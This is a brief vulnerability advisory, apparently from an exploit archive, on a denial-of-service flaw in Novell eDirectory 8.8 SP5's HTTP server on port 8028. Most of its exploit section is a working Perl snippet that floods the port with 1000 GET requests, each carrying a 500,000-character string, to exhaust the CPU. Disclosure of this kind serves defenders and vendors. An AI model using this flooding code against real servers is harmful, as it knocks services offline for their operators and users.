Affected Software:
Novell eDirectory 8.8 SP5
Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port"
("8028" is the default port of Novell eDirectory Dhost Http Server),
the attacker can cause the system to consume %100 of the CPU resources.
Discovered by:
karak0rsan, Hellcode Research
Original Advisory:
http://tcc.hellcode.net/advisories/hellcode-adv003.txt
Exploit:
- snip-
....
$data = "?" x 500000;
for($i= 0; $i < 1000; $i++)
{
$sock= new IO::Socket::INET( PeerAddr => "localhost",
PeerPort => 8028,
Proto => 'tcp',
Type => SOCK_STREAM,
);
print $sock "GET /$data HTTP/1.0\r\n\r\n";
close($sock);
}
...
- snip -
# milw0rm.com [2009-09-09]